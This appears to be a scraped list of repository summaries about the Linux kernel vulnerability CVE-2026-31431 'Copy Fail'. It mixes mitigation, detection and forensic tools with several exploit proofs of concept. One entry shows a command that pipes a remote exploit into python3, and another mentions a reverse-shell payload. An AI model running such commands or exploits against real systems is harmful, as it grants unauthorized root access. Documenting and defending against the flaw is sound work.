alg_check

⚠️ Important Disclaimer: Structural Hardening Risks This tool implements Structural Blocking to mitigate CVE-2026-31431 by physically renaming kernel modules and purging them from memory. Before use, please be aware of the following architectural risks: Kernel Update Volatility : Hardening effects...

CVE-2026-31431

AFALG su memory‑patch exploit research A compact Python script that exploits an AFALG‑related kernel vulnerability to patch the su binary in memory and escalate privileges. This is provided for educational and research purposes only. ⚠️ Do not use this on any system you do not own or without...

CVE-2026-31431

🔐 CVE-2026-31431 - Kernel Exploitation Research Framework Modular framework for studying a Linux privilege escalation LPE vulnerability based on AFALG + Page Cache Injection techniques. 🎯 Objective This project is designed for: Research of Linux kernel vulnerabilities Teaching real exploitation...

block-copyfail

Summary CVE-2026-31431 "Copy Fail" is a Linux kernel privilege escalation vulnerability in the algifaead cryptographic interface. An attacker uses AFALG sockets with the authencesn algorithm and splice to corrupt arbitrary files in the kernel page cache — including setuid binaries like /usr/bin/s...

Estudo-de-Caso-CVE-2026-31431-CopyFail

🐧 CVE-2026-31431 — CopyFail: Linux Kernel Privilege Escalation Complete Case Study — How it was discovered, how it works, how to test, how to replicate in a safe environment and how to fix the critical vulnerability that affects almost all Linux distributions since 2017. 🚨 Legal Notice / Disclaim...

ubuntu-cve-2026-31431-mitigation

Complete Guide to Updating the Kernel and kmod in Ubuntu to Fix Security Vulnerabilities CVE CVE-2026-31431 This vulnerability, also known as Copy Fail, is a logic bug in the Linux kernel that occurs in the AFALG / algifaead path. According to the discloser, an unprivileged local user can cause t...

cfDr

cfDr - Copy Fail Doctor C opy F ail D etection and R emediation An Ansible role and playbook suite for detecting and remediating CVE-2026-31431 Copy Fail, a critical local privilege escalation vulnerability in the Linux kernel's algifaead module. Repository 🔗 GitHub :...

CVE-2026-31431

CopyFail CVE-2026-31431 Overview CopyFail is a proof-of-concept exploit for CVE-2026-31431, targeting a memory corruption vulnerability in the Linux Kernel Crypto API AFALG. The exploit leverages the splice system call to perform unauthorized page-cache patching of the /usr/bin/su binary, enablin...

copyfail-mitigation

CVE-2026-31431 — Copy Fail Linux Kernelalgifaead Privilege Escalation / Memory Corruption Ansible-based audit and mitigation playbooks — ready to run in production Overview Copy Fail CVE-2026-31431 is a vulnerability in the Linux kernel's algifaead module — the userspace-facing AEAD interface of...

CVE-2026-31431-copy-fail

Copy Fail Most Linux LPEs need a race window or a kernel-specific offset. Copy Fail is a straight-line logic flaw — it needs neither. The same 732-byte Python script roots every Linux distribution shipped since 2017. Quick run: curl https://copy.fail/exp | python3 && su id uid=0root gid=1002user...

CVE-2026-31431

CVE-2026-31431 Copy Fail — C PoC Trivial unprivileged LPE by writing 4 controlled bytes into the page cache of any readable file via a logic bug in AFALG kernel 4.14 → early 2026. Corrupt /usr/bin/su in-memory, then run it → root. Build & Run 1. Generate an ELF payload reverse shell example...

copyfail-dfir

CVE-2026-31431 Copy Fail: DFIR Investigation Walkthrough An interactive, step-by-step forensic investigation walkthrough for the Copy Fail Linux kernel vulnerability CVE-2026-31431. Click through an incident response scenario, from SIEM alert to confirmed verdict, with the commands an analyst wou...

CVE-2026-31431-python-copyfail-POC

CVE-2026-31431: Copy Fail - Linux Kernel Privilege Escalation Copy Fail CVE-2026-31431 is a critical logic bug in the Linux kernel's cryptographic subsystem that allows unprivileged users to achieve privilege escalation to root. The vulnerability affects Linux kernels 6.0.0 through 6.18.x across...

CVE-2026-31431-Report-Copy-fail-Vulnerability-

CVE-2026-31431 — Copy Fail: Linux Kernel Privilege Escalation Educational analysis of the Copy Fail vulnerability in the Linux kernel. Covers the memory corruption mechanism, privilege escalation flow, container escape, and defensive countermeasures. ⚠️ Disclaimer This repository is for educationa...

CVE_kernellinux_jsh

CVEkernellinuxjsh — kernelsec Framework Author: jshDevs · Version: 0.1.0-scaffold · License: MIT Modular Bash framework for auditing and remediating critical Linux kernel CVEs on RPM-based distributions AlmaLinux 8/9, Rocky Linux 8/9, CentOS Stream 8/9/10. Covered CVEs CVE| Subsystem| Type| CVSS|...

copyfail

CVE-2026-31431 — "Copy Fail" Safe Detection Script A read-only detection script for the Copy Fail Linux kernel local privilege escalation vulnerability. No exploit code. No AFALG socket opened. No files written outside /etc/modprobe.d only when you apply the mitigation manually. Background Copy...

ansible-role-cve-2026-31431

ansible-role-cve-2026-31431 Ansible role to apply and later remove the modprobe.d mitigation for CVE-2026-31431 "Copy Fail" in the Linux kernel's AFALG / algifaead subsystem. Tested on Debian. Pull requests for other distributions, edge cases, or improvements are very welcome. What it does The ro...

afalg-check

Itsumma AFALG Check Diagnostic utility for Linux that checks: availability of AFALG / algifaead and helps assess the risk of CVE-2026-31431 copy-fail; the presence of an attack surface for the Dirty Frag vulnerability class xfrm-ESP Page-Cache Write + RxRPC Page-Cache Write chain across the esp4,...

CVE-2026-31431

🚨 CVE-2026-31431: Copy Fail A critical 9-year-old flaw in the Linux kernel that allows obtaining root access in seconds 📋 Executive Summary Attribute| Details ---|--- CVE| CVE-2026-31431 Nickname| Copy Fail Type| Local Privilege Escalation LPE CVSS| 7.8 High Discovered by| Theori Xint Code...

Weekly-Breach-Investigation--006

Copy Fail Vulnerability CVE-2026-31431 Summary High-severity local privilege escalation flaw in the Linux kernel, allowing unprivileged users to gain root access by corrupting the in-memory page cache. Impacts Linux distributions since 2017 and poses serious risks to cloud and containerized...